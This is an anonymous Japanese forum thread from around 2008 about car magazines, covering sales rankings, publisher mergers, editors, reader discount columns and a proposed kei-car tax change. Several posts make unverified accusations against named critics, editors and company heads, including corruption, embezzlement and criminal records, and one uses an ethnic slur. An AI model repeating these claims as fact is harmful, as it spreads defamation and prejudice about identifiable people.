自動車雑誌 総合スレッド

あらゆるジャンルの自動車雑誌OK

23get

　自動車雑誌部数ランキング 　
1ベストカー
（超えられない壁）
2カートップ
（大差）
3ホリデーオート
4スタイルワゴン
5マガジンX
by東販

tp://bignet2.bunkyodo.co.jp/bignet2/magranking.asp?id=motor

ボディカラーに新色採用！
スバル R２、R１シリーズを一部改良
http://corism.221616.com/articles/0000082447/

日本一売れていない車雑誌ランキング
ベスト１
掘り出しパーツ（新アポロ出版）

いま一番恥かしい車関係雑誌
ワースト1
痛車本

http://blog.drecom.jp/iwasada/img/1032/080611.jpg

しかしあのブログはなんなのだろうか？
http://www.mag-x.com/blog/2008/06/post_392.html

結局ぜいたく自慢か。
記者の溜まりばって、普通自慢するのはガードしたとかだろ。
昔の朝日なら有楽町の焼鳥屋とかな。
六本木の高級店を溜まり場として自慢して、どういう感覚なんだ、オメーは。

しかもバカみたいに長い。
まったくもって面白くもない
となると神領なのだが、部下がヒーヒー安月給で頑張っているのに、
どういうことなのか。
この一回の豪遊は何ページの制作代分でしょうか？
みんなが書きまくっている経営者失格の意味がよくわかる

>>3
スタイルワゴン誌って、どういう内容なの？
カスタマイズのガイド本のような雑誌？？

買えよ

7月1日発売
ベストカーの歴史が詰まった「ベストカークロニクル」
時を超えあの名物企画をもう一度 永久保存版
BIGサプライズ企画 驚異のあの独占テストをもう一度

ガソリンと紙代が高騰…　今年後半はキッツイね…　

>いまだ会社の経費使い放題のKY社長もいるようだが‥‥
http://www.mag-x.com/blog/2008/06/post_392.html
結局ぜいたく自慢か。
記者の溜まりばって、普通自慢するのはガードしたとかだろ。
昔の朝日なら有楽町の焼鳥屋とかな。
六本木の高級店を溜まり場として自慢して、どういう感覚なんだ、オメーは。
しかもバカみたいに長い。まったくもって面白くもない。
となると神領確定なのだが、
部下がヒーヒー安月給で頑張っているのに、どういうことなのか。
この一回の豪遊は何ページの制作代分でしょうか？
みんなが書きまくっている経営者失格の意味がよくわかる。

ベストカーの壮丁ってさ、チープ過ぎるよね〜
そんでもって誤植の少なくない原因は、
お付き合いのある写植業者さんの所為に責任転嫁していそうだよな？コマッタモンダヨ、まったく。

いまどき写植業者ｗ
こんな世間知らずの馬鹿者が存在するとはコマッタモンダヨ、まったく

写植業者ですが、何か？

>>16がちょっと恥ずかしい思いをしましたね

自動車雑誌の値引き交渉欄に投稿してる奴らってなにかの罰ゲーム？
たかが３００万の車ですら値札で買えないような低属性さを晒すなよｗ

値引き額がそのまま得点になるゲームですよ。
見積書ベースでディーラーを泣かせた数字が大きい人が優勝です。
罰ゲームではなく交渉術をアピールできる自己満足のゲームですね。
実際に買ったかどうかは問題ではないので誰でも気軽に参加できます。

>>20
あれってゲームだったの？
家族揃って車の前でピースサインした写真とか載ってんじゃん？
この家族は一体どういう神経してんだかｗと思いながら見てたよ
顔写真まで雑誌に晒して値引き自慢って恥ずかしい行為だと思ってた
だって貧乏なくせにセールスに嘘ついたりして値引きを引き出したりしてるし
見栄張って身の丈以上の買い物するなって思う

まあ、あれだ
「新婚さんいらっしゃい」なんていう
末代までの恥を日本中にさらすような番組が
なぜ今でも続いているのかを考えればいい

世の中には色んな人種がいるということさ

ﾜﾛﾀ　あと
素性を隠してDに入って
その反応を見て雑誌に載せ
自己満している奴らとかな

「ベストカークロニクル」を１２００円出して買った人います？

車の雑誌なんか一度も買ったことがないわ
スポーツ走行マンセーな車オタクが中心に記事書いてるから
実用的でもない内容だし、あんな雑誌は立ち読みで十分だろ
買ってる奴はやっぱり車オタク？

オプションによく出るゼロヨンギャルの久美子が可愛い件

.

加藤久美子が可愛い？

【出版】自動車雑誌業界、再編相次ぐ［08/07/02］
http://news24.2ch.net/test/read.cgi/bizplus/1214967204/

これによるとニューズが三栄に吸収合併だと。

志村ー！

逆、逆！

kwsk

ニューズが三栄をパックンして、ニューズの人が三栄の看板を継承するということ。

>>14
毎日ネットサーフィンで1日を潰している社長

>>32
わっはは。
俺様の天下だ。社長兼編集長復帰だ。いろいろ勝手に書いてくれたやつら、みてろ。

しかし、御代志もなんだね。俺の言うことをおとなしく聞くもんだ。よしよし。

にゅーずの身世誌ですが、診療はいりません。不要です。
ムックハウスも切りたいです。無駄金ばかりせびりに来るので、
必要性がありません。しっぽ振ってくるのもうざいです。
ジュニアを買い取れ？　にゅーずはＤＴＰ屋をやるつもりはないので
どこかよそをあたってくれ。

.

>>34
みよしに媚びたわけじゃない
みよしの弱みにつけこんだだけ

やっぱりさ、自動車雑誌で書いてるライターさんらは、
いつかはベストカーで連載抱えるのを目標にしてるもんなの？

:

>>34
ホールディングス最高幹部のひとりとして存在感を出さないと
御代志も結局いうこと聞くちょろいやつよ
　by神領拝

.

月刊Cは創刊3号にしてかなりヤバイという噂だけどどうなのかな
ご祝儀で出していた広告主もそろそろ見切りを付ける頃だし
いまだにファッション誌なんだか外車雑誌なのかよくわからない編集方針
一応カドカワが名前貸しているけど黒幕というかパトロンが怪しすぎる雰囲気ｗ
ハッキリ言って失敗だったよね

創刊号で清水和夫が醜い中年の裸をさらしてがんばっていたけどね。

age

あげ

>>43
これのことかな？
ttp://www.hobidas.com/blog/rosso/yoshida/2008%EF%BC%8D7%EF%BC%8D17%EF%BC%8D2.html

月刊○


風前の灯火



関わっている人逃げてーｗ

心当りがあり過ぎてどこの事だかわからん。

○が一文字を表すならCか？

速いな、おい。

　　 ∧＿∧
　　（　　＾＾ ）＜ ぬるぽ（＾＾）

公家･徳大寺家と実際の関係がないのに“�ｺ大寺有恒”を称する杉江博愛への不信感があるのは、
私だけでないはずだ。
（念のために申し上げておくが私自身、最初から徳大寺有恒こと杉江博愛のアンチではなかった）
平成十八年（西暦A.D.2006年）に発覚･表面化した「トヨタ自動車欠陥放置問題」について、
杉江は方々の寄稿先で触れようともしていない。私の知るかぎりでは。
杉江の健康容態を考えてみても、
自称・モータージャーナリストとして自動車産業界を論評する作家活動を休止していない点からも不自然極まりない。
どうして、杉江はトヨタを批難しないのだろうか。
昭和五十一年に草思社から『間違いだらけのクルマ選び』を出版するにあたって、
わざわざ筆名を使用した点からも、
仮面作家として、保身の為の?奇策は講じていたという見方も出来なくはない。
つまり、“�ｺ大寺有恒”という仰々しい偽名が広く知れ渡ってしまっている点からも、
杉江を支持する者は少なくはないだろうと察せられるのだが、
それでもトヨタを批難しないでいるのは何故なのか。
うわべだけでもトヨタのリコール案件は記述すべきだと思う。
活字にして、それが世に出回れば、後代に伝える事も不可能でないからだ。
私には
杉江がトヨタの圧制に臆しているとも、トヨタお得意の金権に屈したとも思えない……。
何故なら、過去に年度版『間違いだらけのクルマ選び』で杉江は、
“�ｺ大寺有恒”としてトヨタの疑わしい社風について記しているからだ。
杉江本人が私有したという、
初代プリウスに生じた不具合（確か始動しなくなってしまったと記述されていたと思う）についての説明を、
担当のトヨタ販売店勤務の整備士（いわゆる顧客担当サービス氏）に求めたが、
「分からないんです」の一点張りで、
ついに誠実な回答は得られなかったのだそうだ……少なくとも杉江は、
この出来事を取り上げ、出版していた。
しかし、その杉江が何故、
報道された「トヨタ自動車欠陥放置問題」については論評どころか、触れたがらないのだろうか……？
これは杉江の熱心な支持者も含めた読者（ほぼ消費者と換言できるだろう）各位への裏切りと断じても
間違いでないと、私には思えてならないのだが。

自動車工学



あのオカルト静電気除去パーツの検証して、「すごい！　こうかはばつぐんだ！」って書いちゃった月刊誌。

三推社ベストカー（発行人兼編集人、勝股優）としては本気で「リコール放置案件をはじめとする、トヨタの不祥事は“事なかれ主義”で風化させるのが常道」だなどと考えているのか……？

夫馬！夫馬！

>>54
誰？

自分で気付いてないのか、自分の癖

みよしも結局オレ様の言うこと聞くちょろいやつよ
　神領拝

�ｺ大寺有恒”を称する杉江博愛

↑いつもこれ書いてるのって気違い?うざいんだけど

>>52 今やオカルトパーツ満載といえばオートメカニックだな
　　　もう潰れてください

図太く生き残ってるね、小川フミオ

ttp://bluemeanie.cocolog-nifty.com/ogawa/

■ おすすめ２ちゃんねる 開発中。。。 by FOX ★
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だいたい三推社とかいう出版社は
２ちゃんねる掲示板では、高名な國澤光宏を発生させた
（そう仕向けやがったのは、杉江博愛こと徳大寺有恒）ことを考えれば、
いわば音羽グループ講談社とって、
三推社は、
点取り虫（=公称発行部数と実売率は少なくはない）だけれど、
素行の悪い、親不孝な子会社に違いない…と、俺には思えるのですけど？

あげ

クルマ雑誌もうだめぽ・・

なにをいまさらw

>>57
東京リフォーム　１号で終わり　大赤字

　　　　 　 　 　 ｌ |
　 　　 ○ 　　　ｌ |
.　　 　 　 ＼　 .ｌ |
　　　　 　 　 ｀ヾ_| _.rｰく＼
　　　　　　　　　 〈　＼　＼＼
　　　　　　　　　　〉　　＼　＼＼
　　　　　　　　　　 〉､ 　　＼　　入
　　　　　　　　　　　〉 ＼　　ヽノ　廴_
　　　　　　　　　　　 `ー─､_}___ノ:::::::::｀ヽ､
　　　 　n､ n n　　　　　　　　　　　＼::::::::::::｀ヽ -､
　　　　　`ヽl l.|__ﾉL　　　　　　　ィ''⌒＼:::::::::ノ /:::＼
　　　　 　　　＼　　)　　　　　　(　/⌒`ヽミ､{ ノ:::::::::∧
　　　　　　　　　}==ﾊ　　　　　　∨｀._ ､´　 ﾌV::::::::ノ .ﾊ
　　　　　　　　　|::::::∧　　　 　　 l　ｨ._､ 　 {　 V彡'' 　 |
　　　　　　　　　|::::::::∧　　　　　 ヽ　＿ ｲ ヽ　　 　 　 |
　　　　　　　　　|::::::::::∧　　　　　　}　-=彡' ＼.　　 　 |
.　　　　　　　 　 ｌ::::::::::::::}ヽ､ ＿＿_ﾉ'"i´¨　 　　ヽ 　　 |
　　　　　　　　　 ｌー==彡､　Y　　|　　|　　[○]　　ヽ　 |
　　　　　　　　 　l::::::::::::::::}　 }　　|　　| JAPAN　　　ヽ|
　　　　　　　　　　ヽ､::::::ノ　　l 　 |　　|　　 　 |　　　 　 |
　　　　 　 　 　 　 　 ￣`ー､ﾉ　　「_　.!　　 　 |　　　 　 |
　　　　　　　　　　　　　　　　ヽ　 {_ﾉ　|　　 　 |　　　 　 |

軽自動車の税金優遇が終わります
http://namidame.2ch.net/test/read.cgi/kcar/1219519324/


「排気量」から「ＣＯ２排出量」へ　経産省が自動車税制の変更検討

経済産業省が平成２１年度の税制改正で、エンジン排気量の大きさを中心に税額を決めている自動車税制を見直し、
走行１キロメートル当たりの二酸化炭素（ＣＯ２）排出量を基準に税額を決める方式への変更を検討していることが２３日、
わかった。同様の仕組みは欧州各国が取り入れ始めており、地球温暖化を防ぐグリーン税制の目玉にしたい考えだ。
しかし、これまで優遇されてきた軽自動車の税負担が大幅にアップするため、自動車メーカーなどの反発は避けられず、
調整は難航しそうだ。

現行の自動車税は、排気量１リットル以下のリッターカーの自家用乗用車で年額２万９５００円、最高の６リットル超で
１１万１０００円など、排気量に応じて税額が定められている。排気量６６０ｃｃ以下の場合は税金が優遇される軽自動車税と
なるため、年額７２００円に抑えられている。

ＣＯ２排出量を基準とした税制になると、排気量が大きい大型車が不利になるほか、これまで優遇されている軽自動車の
税額が重くなる見通し。自動車メーカーの今後の商品ラインアップに大きな影響を与えるほか、軽自動車ユーザーなどから
の反発も予想される。

http://sankei.jp.msn.com/economy/business/080824/biz0808240046000-n1.htm

ある雑誌で高校生に車の事をどれだけ知っているかを聞く記事があったけど、
圧倒的に男が多いもかかわらず、コメントが載っているのは女ばっかりなんだよな。
｢○○ちゃん｣とか書いてあってさ。で、その人に車に関係のない返事も書いてたりして。

自動車雑誌を読んでいていつも思うのは、何で試乗や表紙にアイドルが出てくるのだろうか。
週刊誌じゃないんだし、そういうオヤジ趣味みたいのはやめて欲しいな

>>69
おお、それはいえるね。
オーディオ関連や、カメラ関連など
趣味の専門誌って、グラビアだとか表紙のモデルなんて関係ない。
クルマって誰でも運転できるし、誰でも買うし、誰でも語れるから
いきおい庶民的になるのは仕方ないけど
広げてる自分の姿を想像すると悲しくなるな＞グラビア誌みたいな体裁

そのせいか、買うのはＣＧとかカードラが多いな。

>>69
白ノースリワンピにピンクカーデ、
白かピンクのミュールに薪薪ヘアーで
決まりだ！

こんな場所で
そんなネタで

自作自演して虚しくないか？

>70
一まとめにグラビアとか出会い系とかの広告が載るとダメだって否定するわけじゃないけど、全体的に自動車雑誌はそういう傾向があるね。
趣味雑誌としてみると、自動車はそういうところが他の分野と違う。
自動車の場合、熱烈に入れ込む｢オタク層｣よりも、最近は以前よりは少なくなったけど、車が好きと言っても実はモテるためって言う人が結構いるように思う。
そういう違いが体裁の違いにつながるんだろうな。

VIPカー系の雑誌を見るとグラビアや出会い系が少ない代わりに、ギャル系の女が記事に頻繁に出てくるよね。
オーナーもやっぱりそれっぽい人が多いし。

こうしてみると一口に自動車雑誌と言っても、分野によっていろいろ個性があるんだなと思う。

　　 ∧＿∧
　　（　　＾＾ ）＜ ぬるぽ（＾＾）

>>73
親父すぎｗｗｗ　いまの若者は車なんて興味ないよ。
不細工が良い車持っていてもモテルわけないし。

格好良い奴高給取りなら車なんてなくてもモテモテｗ

>>3
三推社/講談社「ベストカー」（発行人＆編集人、勝股優）のスクープ記事の手口は、
講談社「フライデー」のようなゴシップ写真週刊誌のスクープ記事なんかよりも悪質だと思う。

くっせぇ車『デボネア』を１位にしようぜｗｗｗ
ブックマークして毎日デボネアに投票しようぜ！
おまいらの力を貸してくれ！
http://cgi.netlaputa.ne.jp/~san/cgi/rank/rank.cgi

今度のオデッセイはどうかな。

>>76
マガジンＸに
スクープ情報を提供して逮捕された椰子がいた

逮捕？
クビだろｗ

徳大寺有恒こと杉江博愛はトヨタ批判する内容の論評をしなかった。
読者の方から
ご投稿いただいた質問に
徳大寺有恒こと杉江が回答させていただくコーナーだけでなく、
徳大寺有恒こと杉江による冒頭エッセイでも触れようとさえしない。

>>75
亀で失礼だが、別に若者に限定してないし、車に凝っていればモテるとも思ってない。
｢スポーツカーだともてない｣とか言って、｢本当に車好きなのか？｣って人がいるなと思ったわけ

　　 　　　　∩　 　 　 　 　 　　　　　∩
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俺達ageageブラザーズ！
今日もネタもないのにageてやるからな！
￣￣∨￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
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　 し（＿）　　 （＿）Ｊ

>>84

ご自由にどうぞ。死ぬまでやってろヴァカ。誰も困らんわ。

81ってしょうがい者? 杉江っていちいち書かねーとじんましんでもDELLの??

＿　
　 　/〜ヽ　
　　（｡・-,・）　
　　 ﾟし-Jﾟ　

徳大寺有恒の論評は決まっている。
どの寄稿先でもトヨタグループの強さを誇示し賞賛し、そして他メーカーを罵倒する。
そして批判に対して言論面で妥協することは絶対にない。
具体的には「デザインなんて好みの問題じゃん」などという批評は決してない。
代わりに「売れているから一番なんだよ」と言い切る。

妥協、譲歩、退却という言葉は、
厚顔無恥な彼の辞書には存在しないのである。

大手は休刊して新雑誌やら別の編集部へ移動やらできるからまだましなのかな。
小さいとこは休刊したら終わりだよね・・・

自動車税制の変更で、軽自動車は増税に！？
http://namidame.2ch.net/test/read.cgi/kcar/1219541591/


軽廃止！　経産省が自動車税制の変更を検討
http://namidame.2ch.net/test/read.cgi/car/1219566332/

http://www.nicovideo.jp/watch/sm1128852

>>89
一番好調なベストカーだけど、三推社はベストカーだけでもってる会社。
万が一ベストカーが不調になったら会社として終わるんだよね。
一応講談社が出資してるけど、ベストカーが売れなくなった三推社なんて
用はないから、さっさと倒産させる。編集を講談社に入れてやることはない
から解雇されて路頭に迷う。休刊したら完全にアウトな会社。

>>92
弱小でもそこは編プロと違って曲がりなりにも出版社だと
主力雑誌がダメになっても内部留保や親会社の保証で
別の雑誌を立ち上げることができるんで、ちょいと違う。

半分はクビ切っても、のこりで縮小しながらでも新雑誌や
ムックでお茶を濁しながら継続することは出来る。
このご時世に生き残りはきわめて厳しいとはいえ、
休刊したら完全にアウトな会社というわけではないよ。

倒産されたら単行本の処理が大変だから取次も
しばらくは新雑誌の面倒を見るよ。

>>93
夫馬に世間の仕組みを説いても無駄無駄

>>93
いや、その単行本自体がほとんどベストカー関係のものだから。
単行本も売れ筋なんてないし、廃刊しても困らないレベル。
ベストカーのためだけの会社だから、こければ即撤退させる。
講談社は新雑誌なんて眼中にない。ただ金を絞り取るだけで
金がでなくなったら用はないんだよ。ベストカーがこけて、
車の新雑誌をつくったところで売れないのは確実だし
そこまで面倒みない。

まあ当分大丈夫だろうが、万が一こけたらっていう話だけど。

>>93
講談社はそんなことしない。
三推社はベストカーのためだけの会社で
単行本はほとんどベストカー関係の本。

俺達ageageブラザーズ！
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元社員としては　倒産　破産の便りが楽しみ

２ちゃんでネタ拾ってんのか〜？
もうまともに取材する金が無いとかですか？

やだよ、出かけると疲れるもん。

マガジソXに京都八幡の解体屋についての記事があって読んでみたのですが…

文章のはじめの方や場所の紹介などに（ちと得意げに）八幡製鉄所の話が…
官営八幡製鉄所が京都府だと勘違いしているようでちょっと香ばしいです。
そのため、文章全体の信憑性が失われている感あり。
ライターは誰なんだろ？○田さんかなあ。

各社から痛車関係のMOOKが出てるけど、価格がどれも\1500なのにはワラタ

で？月刊「○」の最近の評価は　どーよ？　俺は王子の記事が大好きだ！

>>103
LEONのクルマ版って感じだよね。
でも中途半端。LEONの出来損ないだろ。

>>103
最近本屋で見かけないけど。そろそろ休刊かもしれない。

自動車のリコール…消費者の8割がメーカーに一定の評価
ttp://response.jp/issue/2008/1103/article115875_1.images/199913.html

国土交通省は10月31日、自動車リコールについてのインターネットモニターアンケート調査結果をまとめた。
それによると、消費者の8割以上がリコールを発表したメーカーに対して一定の評価をしていることがわかった。

2006年に発覚・表面化した「トヨタ自動車欠陥放置問題」で
社長の渡邊捷昭が辞意を表明しなかったり、奥田碩や張富士夫など経営者どもに責任を負わせず、
企業の意思として謝罪広告を一切、いかなるメディアでも発信しないトヨタだけは信じられません！

>>101

あの解体屋の記事はひどい。

八幡製鉄所ができて、周囲に大阪からダイハツの工場が引っ越してきただの、
自動車工場が集積してきたから、廃車体も集められて今の姿になっただの、
どうなってんだよ。

みんなも立ち読みしてみ。

　↑
　笑
まともに校正もやっていないんだろう

マガジソXの神とかいう編集長は
カーオブザイヤーの実行委員になるのが夢なんだってさ

桂容疑者は違反切符を切ろうとする警察官に「早く試乗車を試乗会場に戻さないと次のメディアに迷惑をかける」(事情通)からと、キップにサインせずその場を立ち去り、その後、警察の再三の
呼び出しに「忙しいから」「そのうち行くから」と言い訳をして、所轄書に出向くことは無かったという。
余談だが、現地ではもうひとり別の評論家が同様にスピード違反を犯したが、こちらは「反則切符にサインし反則金を支払った」(事情通)という。
モータースポーツライセンスを所持していれば、刑事罰を受けた段階で、JAFの懲罰委員会にライセンス剥奪までを視野に入れた議題として諮られることは必至
COTYそのものの対応は現状では不透明だが、やはり刑事罰を受けるような人物を来年も選考委員にすることはないだろう。
桂伸一容疑者の猛省を臨む。（神）

NABIとかENJINEとかまた潰れないのが不思議だwww

どんだけ時代錯誤なんだよ

イタリアｗ
フェラーリｗｗ
ルイ・ヴィトンｗｗｗ

>>109
みよしも結局オレ様の言うこと聞くちょろいやつよ
神領拝

ベストカーの誌面は決まっている。
どの記事でもトヨタグループの強さを誇示し賞賛し、そして他メーカーを罵倒する。
そして批判に対して言論面で妥協することは絶対にない。
具体的には「デザインなんて好みの問題じゃん」などという言動はあり得ない。
代わりに「売れているから一番なんだよ」と強圧的に言い切るのである。

夫馬ｗ

w

>>107
「マガジンＸ」に
スクープ情報を提供して逮捕された椰子がいた

オートギャラリーは、イベントもネットも完全に終わり

>>101
社長兼編集長 俺様の天下だ。文句あっか。
しかし、御代志もなんだね。俺の言うことをおとなしく聞くもんだ。よしよし。

,

表紙のインパクトはあるなC

wwwwwwwwww

>>113
FXでかなりやっちまったようですが、
まさか会社の運転資金に手をつけてない？　

俺達ageageブラザーズ！
今日もネタもないのにageてやるからな！
￣￣∨￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
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　 し（＿）　　 （＿）Ｊ

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　　　 　 /;;;;;;┌--‐""""ヾ,ヽ
　　　　/:::::;;;ｿ　　　　　 　 ヾ;〉
　　　 〈;;;;;;;;;l　　＿＿_　＿＿i|
　　　/⌒ヽﾘ─| -･=-H -･=-|!　　　
　　　| （ 　　　 ｀ー─' |ー─'|　　
　　　ヽ,,　 ヽ　　 ． ,､__)　　 ﾉ! 　 　
　　　 　 | 　　 　 ノ　　 ヽ　　|
　 　 　 ∧　　　　 . 'ｰ=-'　 ./
　 　 ／＼ヽ　　　　　　 　 /
　 ／　＼　ヽ＼ ヽ__＿_,ノヽ

「月刊シー」ってまだ出てるんだね
とっくの昔に廃刊になっていると思ったｗ

さすがに本屋で見かけることはなくなったけど通販とかで売ってるの
自動車雑誌だかメンズファッション誌だかよくわからない内容ですぐに廃刊だと思ったんだけど意外にしぶといね
でもリーマンショックでもうダメでしょ

>>126
売り上げが1万部以下の雑誌を話題にするなよｗ
年明けに休刊のお知らせが載る予感

編集長辞めるんだな。
さあどうなる？
http://blog.livedoor.jp/cruisinmag/archives/2008-10.html#20081023

>>127

NABIとENJINEをぬっころすにはどうすればいいですか？

もう少し景気が悪くなれば
クライアントの財布のヒモも固くなり
黙っていてもアボンヌ

http://jp.youtube.com/watch?v=tJgYK1poeaM&feature=related

『マガジンX』に京都八幡の解体屋についての記事があって読んでみたのですが
文章のはじめの方や場所の紹介などに（ちと得意げに）八幡製鉄所の話が
官営八幡製鉄所が京都府だと勘違いしているようでちょっと香ばしいです
そのため、文章全体の信憑性が失われている感あり

つーかお前貼りすぎで飽きた

まあ自動車雑誌も深刻だけど、それ以上にヤバいのはファッション系。
バタバタバタバタと店じまいするらしい。

知り合いのライターから相談されたけど、ギャラの金額が違いすぎてどーにも…。
そりゃめんどくさいから儲からなくなったら潰すわな、とおもた。

クルマ雑誌の
三推社/講談社ベストカー2006．11．26号177ページ「みんなの駐車場」では
“なぜトヨタのリコール問題は大々的に報道されない？”という見出しの読者投稿を掲載していて、
みん駐の担当であるブン屋W（産經新聞社記者という経歴のある同誌の編集部員）が回答している。

（岩手県　PNマイケルズ）
ブン屋さんは以前、新聞記者でしたか？
実は、トヨタのリコール問題はあまり話題にのぼりませんよね。
なぜ三菱自の時と同じようにマスコミが報道しないのか不思議でなりません。
確かに三菱自は長年に亘り、たくさんの車種が該当していたから違うのかもしれませんが、
ハイラックス サーフのリレーロッドの強度テストの欠如、副社長を交えてリコール問題をうやむやにしたことは
トヨタも三菱自と同じ会社ぐるみのハズだと前々から思っています。
　マスコミは公正な報道でなく、国などの権力者の言いなりに見えてしまいます。
三菱自のリコール報道が過熱しすぎた反省から、あまり報道していないのならいいのですが、
公正な報道を望みます。

（ブン屋Wからの回答）
そうでしょうか？ トヨタのリコール問題もかなり一般紙は誌面を割いて報道していました。
確かに三菱自の時のようなヒステリックなものではなかったですけれどね。
一般論としてマスコミは権力を監視する役目を持っており、
論調や立場こそ違えど公正な報道を心がけているはずです。
BCだって小なりとはいえマスコミ。そのへんはブン屋も真摯に考えているのですが……。

ところが同誌の創刊時に参加して以来の関係が続いている、
自動車評論家の徳大寺有恒による連載記事「俺と疾れ!!」では
2006年に発覚･表面化した
「トヨタ自動車欠陥放置問題」について
一切、論評していない（ベストカー2008．12．10号現在まで）。

ナビって時計や着る物のページ減ったな、
軽とかEVとか、、今さら路線変更か？

どうせゴミなんだからバブリーなノリのまま突っ走って廃刊しろよwww

　 　/〜ヽ　
　　（｡・-,・）　
　　 ﾟし-Jﾟ　

三推社って、講談社グループ（１００％子会社）なんだってね
元若ノ鵬「八百長してない」週刊誌（講談社発行の「週刊現代」）に嘘の告白　東京地裁に陳述書
大相撲の八百長疑惑に関連し、講談社発行の「週刊現代」の記事で現役力士の実名をあげて八百長を告発したロシア出身の元幕内力士、若ノ鵬（２０）＝本名・ガグロエフ・ソスラン＝が、日本相撲協会を相手取り解雇無効を訴え地位確認を求め東京地裁に起こした訴訟で、
「八百長したことはない。だまされて証言した」とする内容の陳述書を提出していたことが２７日、分かった。若ノ鵬は記事で「年上の関取衆から八百長を強要された。何度も断ったけどやるしかなかった」と証言していた。

バブリー（笑）
ラグジュアリー（笑）
ハイクラス（笑）

時代とずれているんだよ

　∩　　
　　　　　|∧∧　　　　　／￣￣￣￣￣￣￣￣
　　　　　（　　,)∩　　＜　？
　　　　　丿　 ノ　　　　＼＿＿＿＿＿＿＿＿
　　　 〜　　.つ
　　　　　し~

　　　彡

俺達ageageブラザーズ！
今日もネタもないのにageてやるからな！
￣￣∨￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　 ∧＿∧ 　 ∧＿∧ 　　　age
　（・∀・∩）（∩・∀・）　　　　age
　（つ　　丿 （ 　　⊂）　age
　 （　ヽノ　　 ヽ/　　）　　　age
　 し（＿）　　 （＿）Ｊ

自動車税制の変更の問題を「MAG-X」に負けないように特集してくれ
MAG-Xは力が入ってたぞｗ

軽廃止！？　経産省が自動車税制の変更を検討２
http://namidame.2ch.net/test/read.cgi/car/1221686094/


自動車税制の変更で、軽自動車は増税に！？
http://namidame.2ch.net/test/read.cgi/kcar/1219541591/

この後に及んで、まだナビ、エンジン
が話題に上がるって、居る奴も出た奴も
病膏肓の腐った奴らばっかりだな、
鈴木がどうの、小川がどうのと
しかし、笑うのは、鈴木の太鼓持ち
田舎者、今尾の名前が出てこないのが
小物、虚者故に当然と言えば当然だが、
唯一の救い、両誌の現役編集の名前も
カスばっかりだから上がってこない。

>>

新三栄書房のイメージアップのためには
『マガジンX』の廃刊がベスト

エンジンとナビを揶揄してる書き込みは皆
鈴木uglyのネタだけで食べてる、寄生虫
ライター、金子の仕業
取引先の陰口書き込んでるヒマ有ったら
まともな原稿あげて来い、前科者

作家･徳大寺有恒が自動車評論家として日本国内の自動車マスコミ業界から引退した場合
事実上、国沢光宏が徳大寺の後継者になるだろうから
国沢を排出した、三推社／講談社ベストカー編集部としては鼻高々といったところかな？

朝７時から、くだらないことあげ、低能

徳大寺有恒からの伝言
そろそろ、クルマの黄金時代の
話をしておきましょうか
徳大寺有恒 著
定価　1470円
四六判・136ページ・ISBN978-4-544-04353-2

ttp://www.nigensha.co.jp/auto/bk_info.html?1501&INF=1234

巨匠のファンはもちろん、戦後の日本自動車史を振り返りたい方にもオススメの一冊。

んなゴミみてぇなもん見ずとも
当時の雑誌をオクで漁ったほうがリアルだぞ、

巨匠の「ぼくの自動車年表」？だかなんだかも山ほど出品されてるけど、
よほどゴミなんだろうなwww

「排気量」から「ＣＯ２排出量」へ　経産省が自動車税制の変更検討

経済産業省が平成２１年度の税制改正で、
エンジン排気量の大きさを中心に税額を決めている自動車税制を見直し、
走行１キロメートル当たりの二酸化炭素（ＣＯ２）排出量を基準に
税額を決める方式への変更を検討していることが２３日、わかった。

同様の仕組みは欧州各国が取り入れ始めており、
地球温暖化を防ぐグリーン税制の目玉にしたい考えだ。
http://sankei.jp.msn.com/economy/business/080824/biz0808240046000-n1.htm


自動車税制の変更で、軽自動車は増税に！？
http://namidame.2ch.net/test/read.cgi/kcar/1219541591/

軽廃止！？　経産省が自動車税制の変更を検討２
http://namidame.2ch.net/test/read.cgi/car/1221686094/

経産省ってほんと頭悪いな

燃料入れなきゃ動かないんだから
燃料税一本に絞れ。

重油だろうが灯油だろうが航空燃料だろうが知ったこっちゃ無い。
CO2排出量で課税ならそれぐらい平等にしろってことだ。
ついでにガス類もな。

奇矯かつ過激な言動は格好のゴシップネタとなり得るので
自動車雑誌の編集部関係者の間では「記事のネタに困ったときは国沢親方に話を聞きに行け」と言われているらしい。

くわしいねぇｗｗｗ

ムックハウスのしんりょうって社長も
半島系で
奇声を上げ、スローガンを掲げるのが
大好き。

　　　↑
労働基準法　無視？
個人情報保護法　何それ？
バレなきゃ何やっても平気や
思っている編プロ社長

現在の自動車雑誌は若者の自動車離れを助長している…というより確信犯！
計画段階の批評ならいざ知らず…既に購入者がいる車種を否定したり、順位ずけたり…あんたらは何の理由でそんなに偉いの？
価値観の多様化を理解していない前時代的な編集者が若者の車離れの根源だね！いったいあんたらは何歳なの？引退しなよ！

>>156
銭ゲバ社長が、社員のボーナスなどをカットして余った分を流した金を貯める別会社を設立の噂。
これこそ『マガジンエックス』ネタだろう。

>>158みたいな馬鹿を見てると辛いなあ
ほめると「たいこもち」扱いされ
けなすと>>158みたいな池沼オーナーから反発を食らう


>>計画段階の批評ならいざ知らず
計画段階で批評できるのは関係者かスパイだけｗ
（こいつどんだけ馬鹿なんだ？）

>>既に購入者がいる車種を否定したり
購入者がいるかどうかと、その車種が良いか悪いかは別問題
（そんなことすら分からない白痴ｗ）

>>順位ずけたり
日本語って難しいね

　 　 　 　 ／;;;;;;;;;;;;;;;;;;;;;Yヽ、
　　　 　 /;;;;;;┌--‐""""ヾ,ヽ
　　　　/:::::;;;ｿ　　　　　 　 ヾ;〉
　　　 〈;;;;;;;;;l　　＿＿_　＿＿i|
　　　/⌒ヽﾘ─| -･=-H -･=-|!　　　
　　　| （ 　　　 ｀ー─' |ー─'|　　
　　　ヽ,,　 ヽ　　 ． ,､__)　　 ﾉ! 　 　
　　　 　 | 　　 　 ノ　　 ヽ　　|
　 　 　 ∧　　　　 . 'ｰ=-'　 ./
　 　 ／＼ヽ　　　　　　 　 /
　 ／　＼　ヽ＼ ヽ__＿_,ノヽ

編集長自身の暴露話のほうが
「マガジンX」のネタになるなw

辰巳のムックの編集長は糞ですね

マガジンXに八幡の解体屋の記事の訂正が出ていますね。
その訂正文も微妙ですがw

>>153さん
大臣がPSEの2階ですから。道路賊（敢えてこの漢字を使用）
なのに使えない人です。某高速で意味のない片方向ICを作ろうと
していますし…理由が現インター付近の渋滞だとか。
それだったらインター付近の一般道を整備すればいいのにねー。

ついにネコが、ギャラの支払いが不可能な状態に…

詳しく書けないのなら黙ってろ

>>163

